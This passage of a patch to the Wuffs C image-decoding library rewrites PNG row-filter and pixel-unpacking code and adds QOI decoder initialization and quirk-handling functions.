-+ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); -+ if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { -+ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -+ } -+ v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); -+ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); -+ if (v_filter == 0u) { -+ } else if (v_filter == 1u) { -+ wuffs_png__decoder__filter_1(self, v_curr_row); -+ } else if (v_filter == 2u) { -+ wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); -+ } else if (v_filter == 3u) { -+ wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); -+ } else if (v_filter == 4u) { -+ wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); -+ } else { -+ return wuffs_base__make_status(wuffs_png__error__bad_filter); -+ } -+ v_s = v_curr_row; -+ if (self->private_impl.f_chunk_type_array[0u] == 73u) { -+ v_x = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][2u])); -+ } else { -+ v_x = self->private_impl.f_frame_rect_x0; -+ } -+ if (self->private_impl.f_depth == 8u) { -+ while (v_x < self->private_impl.f_frame_rect_x1) { -+ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); -+ if (v_i <= ((uint64_t)(v_dst.len))) { -+ if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { -+ if (self->private_impl.f_color_type == 0u) { -+ if (1u <= ((uint64_t)(v_s.len))) { -+ v_bits_unpacked[0u] = v_s.ptr[0u]; -+ v_bits_unpacked[1u] = v_s.ptr[0u]; -+ v_bits_unpacked[2u] = v_s.ptr[0u]; -+ v_bits_unpacked[3u] = 255u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -+ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | -+ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | -+ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | -+ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { -+ v_bits_unpacked[0u] = 0u; -+ v_bits_unpacked[1u] = 0u; -+ v_bits_unpacked[2u] = 0u; -+ v_bits_unpacked[3u] = 0u; -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -+ } -+ } else { -+ if (3u <= ((uint64_t)(v_s.len))) { -+ v_bits_unpacked[0u] = v_s.ptr[2u]; -+ v_bits_unpacked[1u] = v_s.ptr[1u]; -+ v_bits_unpacked[2u] = v_s.ptr[0u]; -+ v_bits_unpacked[3u] = 255u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 3u); -+ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | -+ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | -+ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | -+ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { -+ v_bits_unpacked[0u] = 0u; -+ v_bits_unpacked[1u] = 0u; -+ v_bits_unpacked[2u] = 0u; -+ v_bits_unpacked[3u] = 0u; -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -+ } -+ } -+ } else if (v_src_bytes_per_pixel <= ((uint64_t)(v_s.len))) { -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__slice_u8__subslice_j(v_s, v_src_bytes_per_pixel)); -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, v_src_bytes_per_pixel); -+ } -+ } -+ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); - } -- v_curr.len = 3; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); -- while (v_curr.ptr < i_end1_curr) { -- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -+ } else if (self->private_impl.f_depth < 8u) { -+ v_multiplier = 1u; -+ if (self->private_impl.f_color_type == 0u) { -+ v_multiplier = WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[self->private_impl.f_depth]; - } -- v_curr.len = 0; -- } -- } else { -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 3; -- v_prev.len = 3; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); -- while (v_curr.ptr < i_end0_curr) { -- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -+ v_shift = ((uint8_t)(((uint8_t)(8u - self->private_impl.f_depth)) & 7u)); -+ v_packs_remaining = 0u; -+ while (v_x < self->private_impl.f_frame_rect_x1) { -+ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); -+ if (v_i <= ((uint64_t)(v_dst.len))) { -+ if ((v_packs_remaining == 0u) && (1u <= ((uint64_t)(v_s.len)))) { -+ v_packs_remaining = WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[self->private_impl.f_depth]; -+ v_bits_packed = v_s.ptr[0u]; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -+ } -+ v_bits_unpacked[0u] = ((uint8_t)(((uint8_t)(v_bits_packed >> v_shift)) * v_multiplier)); -+ v_bits_packed = ((uint8_t)(v_bits_packed << self->private_impl.f_depth)); -+ v_packs_remaining = ((uint8_t)(v_packs_remaining - 1u)); -+ if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { -+ v_bits_unpacked[1u] = v_bits_unpacked[0u]; -+ v_bits_unpacked[2u] = v_bits_unpacked[0u]; -+ v_bits_unpacked[3u] = 255u; -+ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | -+ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | -+ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | -+ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { -+ v_bits_unpacked[0u] = 0u; -+ v_bits_unpacked[1u] = 0u; -+ v_bits_unpacked[2u] = 0u; -+ v_bits_unpacked[3u] = 0u; -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -+ } else { -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 1)); -+ } -+ } -+ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); - } -- v_curr.len = 3; -- v_prev.len = 3; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); -- while (v_curr.ptr < i_end1_curr) { -- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_curr.ptr += 3; -- v_prev.ptr += 3; -+ } else { -+ while (v_x < self->private_impl.f_frame_rect_x1) { -+ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); -+ if (v_i <= ((uint64_t)(v_dst.len))) { -+ if (self->private_impl.f_color_type == 0u) { -+ if (2u <= ((uint64_t)(v_s.len))) { -+ v_bits_unpacked[0u] = v_s.ptr[1u]; -+ v_bits_unpacked[1u] = v_s.ptr[0u]; -+ v_bits_unpacked[2u] = v_s.ptr[1u]; -+ v_bits_unpacked[3u] = v_s.ptr[0u]; -+ v_bits_unpacked[4u] = v_s.ptr[1u]; -+ v_bits_unpacked[5u] = v_s.ptr[0u]; -+ v_bits_unpacked[6u] = 255u; -+ v_bits_unpacked[7u] = 255u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); -+ if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | -+ (((uint64_t)(v_bits_unpacked[1u])) << 8u) | -+ (((uint64_t)(v_bits_unpacked[2u])) << 16u) | -+ (((uint64_t)(v_bits_unpacked[3u])) << 24u) | -+ (((uint64_t)(v_bits_unpacked[4u])) << 32u) | -+ (((uint64_t)(v_bits_unpacked[5u])) << 40u) | -+ (((uint64_t)(v_bits_unpacked[6u])) << 48u) | -+ (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { -+ v_bits_unpacked[0u] = 0u; -+ v_bits_unpacked[1u] = 0u; -+ v_bits_unpacked[2u] = 0u; -+ v_bits_unpacked[3u] = 0u; -+ v_bits_unpacked[4u] = 0u; -+ v_bits_unpacked[5u] = 0u; -+ v_bits_unpacked[6u] = 0u; -+ v_bits_unpacked[7u] = 0u; -+ } -+ } -+ } else if (self->private_impl.f_color_type == 2u) { -+ if (6u <= ((uint64_t)(v_s.len))) { -+ v_bits_unpacked[0u] = v_s.ptr[5u]; -+ v_bits_unpacked[1u] = v_s.ptr[4u]; -+ v_bits_unpacked[2u] = v_s.ptr[3u]; -+ v_bits_unpacked[3u] = v_s.ptr[2u]; -+ v_bits_unpacked[4u] = v_s.ptr[1u]; -+ v_bits_unpacked[5u] = v_s.ptr[0u]; -+ v_bits_unpacked[6u] = 255u; -+ v_bits_unpacked[7u] = 255u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); -+ if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | -+ (((uint64_t)(v_bits_unpacked[1u])) << 8u) | -+ (((uint64_t)(v_bits_unpacked[2u])) << 16u) | -+ (((uint64_t)(v_bits_unpacked[3u])) << 24u) | -+ (((uint64_t)(v_bits_unpacked[4u])) << 32u) | -+ (((uint64_t)(v_bits_unpacked[5u])) << 40u) | -+ (((uint64_t)(v_bits_unpacked[6u])) << 48u) | -+ (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { -+ v_bits_unpacked[0u] = 0u; -+ v_bits_unpacked[1u] = 0u; -+ v_bits_unpacked[2u] = 0u; -+ v_bits_unpacked[3u] = 0u; -+ v_bits_unpacked[4u] = 0u; -+ v_bits_unpacked[5u] = 0u; -+ v_bits_unpacked[6u] = 0u; -+ v_bits_unpacked[7u] = 0u; -+ } -+ } -+ } else if (self->private_impl.f_color_type == 4u) { -+ if (4u <= ((uint64_t)(v_s.len))) { -+ v_bits_unpacked[0u] = v_s.ptr[1u]; -+ v_bits_unpacked[1u] = v_s.ptr[0u]; -+ v_bits_unpacked[2u] = v_s.ptr[1u]; -+ v_bits_unpacked[3u] = v_s.ptr[0u]; -+ v_bits_unpacked[4u] = v_s.ptr[1u]; -+ v_bits_unpacked[5u] = v_s.ptr[0u]; -+ v_bits_unpacked[6u] = v_s.ptr[3u]; -+ v_bits_unpacked[7u] = v_s.ptr[2u]; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ } -+ } else { -+ if (8u <= ((uint64_t)(v_s.len))) { -+ v_bits_unpacked[0u] = v_s.ptr[5u]; -+ v_bits_unpacked[1u] = v_s.ptr[4u]; -+ v_bits_unpacked[2u] = v_s.ptr[3u]; -+ v_bits_unpacked[3u] = v_s.ptr[2u]; -+ v_bits_unpacked[4u] = v_s.ptr[1u]; -+ v_bits_unpacked[5u] = v_s.ptr[0u]; -+ v_bits_unpacked[6u] = v_s.ptr[7u]; -+ v_bits_unpacked[7u] = v_s.ptr[6u]; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); -+ } -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 8)); -+ } -+ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); - } -- v_curr.len = 0; -- v_prev.len = 0; - } -+ v_prev_row = v_curr_row; -+ v_y += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u]); - } -- return wuffs_base__make_empty_struct(); -+ return wuffs_base__make_status(NULL); - } - --// -------- func png.decoder.filter_3_distance_4_fallback -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_qoi__error__bad_footer[] = "#qoi: bad footer"; -+const char wuffs_qoi__error__bad_header[] = "#qoi: bad header"; -+const char wuffs_qoi__error__truncated_input[] = "#qoi: truncated input"; -+ -+// ---------------- Private Consts -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_4_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint8_t v_fa0 = 0; -- uint8_t v_fa1 = 0; -- uint8_t v_fa2 = 0; -- uint8_t v_fa3 = 0; -+static wuffs_base__status -+wuffs_qoi__decoder__do_decode_image_config( -+ wuffs_qoi__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_qoi__decoder__do_decode_frame_config( -+ wuffs_qoi__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_qoi__decoder__do_decode_frame( -+ wuffs_qoi__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_qoi__decoder__from_src_to_buffer( -+ wuffs_qoi__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_qoi__decoder__from_buffer_to_dst( -+ wuffs_qoi__decoder* self, -+ wuffs_base__pixel_buffer* a_dst); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_qoi__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_qoi__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_qoi__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_qoi__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_qoi__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_qoi__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_qoi__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_qoi__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_qoi__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_qoi__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_qoi__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_qoi__decoder__initialize( -+ wuffs_qoi__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } - -- if (((uint64_t)(a_prev.len)) == 0u) { -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end0_curr) { -- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_fa3 = ((uint8_t)((v_fa3 / 2u) + v_curr.ptr[3u])); -- v_curr.ptr[3u] = v_fa3; -- v_curr.ptr += 4; -- } -- v_curr.len = 0; -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); - } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif - } else { -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end0_curr) { -- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -- v_curr.ptr[0u] = v_fa0; -- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -- v_curr.ptr[1u] = v_fa1; -- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -- v_curr.ptr[2u] = v_fa2; -- v_fa3 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa3)) + ((uint32_t)(v_prev.ptr[3u]))) / 2u))) + v_curr.ptr[3u])); -- v_curr.ptr[3u] = v_fa3; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- } -- v_curr.len = 0; -- v_prev.len = 0; -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } - } -- return wuffs_base__make_empty_struct(); -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_qoi__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); - } - --// -------- func png.decoder.filter_4 -+wuffs_qoi__decoder* -+wuffs_qoi__decoder__alloc(void) { -+ wuffs_qoi__decoder* x = -+ (wuffs_qoi__decoder*)(calloc(1, sizeof(wuffs_qoi__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_qoi__decoder__initialize( -+ x, sizeof(wuffs_qoi__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- return (*self->private_impl.choosy_filter_4)(self, a_curr, a_prev); -+size_t -+sizeof__wuffs_qoi__decoder(void) { -+ return sizeof(wuffs_qoi__decoder); - } - -+// ---------------- Function Implementations -+ -+// -------- func qoi.decoder.get_quirk -+ - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- uint64_t v_filter_distance = 0; -- uint64_t v_n = 0; -- uint64_t v_i = 0; -- uint32_t v_fa = 0; -- uint32_t v_fb = 0; -- uint32_t v_fc = 0; -- uint32_t v_pp = 0; -- uint32_t v_pa = 0; -- uint32_t v_pb = 0; -- uint32_t v_pc = 0; -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_qoi__decoder__get_quirk( -+ const wuffs_qoi__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); -- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); -- v_i = 0u; -- while ((v_i < v_n) && (v_i < v_filter_distance)) { -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); -- v_i += 1u; -+ return 0u; -+} -+ -+// -------- func qoi.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_qoi__decoder__set_quirk( -+ wuffs_qoi__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- v_i = v_filter_distance; -- while (v_i < v_n) { -- v_fa = ((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])); -- v_fb = ((uint32_t)(a_prev.ptr[v_i])); -- v_fc = ((uint32_t)(a_prev.ptr[(v_i - v_filter_distance)])); -- v_pp = ((uint32_t)(((uint32_t)(v_fa + v_fb)) - v_fc)); -- v_pa = ((uint32_t)(v_pp - v_fa)); -- if (v_pa >= 2147483648u) { -- v_pa = ((uint32_t)(0u - v_pa)); -- } -- v_pb = ((uint32_t)(v_pp - v_fb)); -- if (v_pb >= 2147483648u) { -- v_pb = ((uint32_t)(0u - v_pb)); -- } -- v_pc = ((uint32_t)(v_pp - v_fc)); -- if (v_pc >= 2147483648u) { -- v_pc = ((uint32_t)(0u - v_pc)); -- } -- if ((v_pa <= v_pb) && (v_pa <= v_pc)) { -- } else if (v_pb <= v_pc) { -- v_fa = v_fb; -- } else { -- v_fa = v_fc; -- } -- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(v_fa)))); -- v_i += 1u; -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } -- return wuffs_base__make_empty_struct(); -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func png.decoder.filter_4_distance_3_fallback -+// -------- func qoi.decoder.decode_image_config - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_3_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint32_t v_fa0 = 0; -- uint32_t v_fa1 = 0; -- uint32_t v_fa2 = 0; -- uint32_t v_fb0 = 0; -- uint32_t v_fb1 = 0; -- uint32_t v_fb2 = 0; -- uint32_t v_fc0 = 0; -- uint32_t v_fc1 = 0; -- uint32_t v_fc2 = 0; -- uint32_t v_pp0 = 0; -- uint32_t v_pp1 = 0; -- uint32_t v_pp2 = 0; -- uint32_t v_pa0 = 0; -- uint32_t v_pa1 = 0; -- uint32_t v_pa2 = 0; -- uint32_t v_pb0 = 0; -- uint32_t v_pb1 = 0; -- uint32_t v_pb2 = 0; -- uint32_t v_pc0 = 0; -- uint32_t v_pc1 = 0; -- uint32_t v_pc2 = 0; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_qoi__decoder__decode_image_config( -+ wuffs_qoi__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ 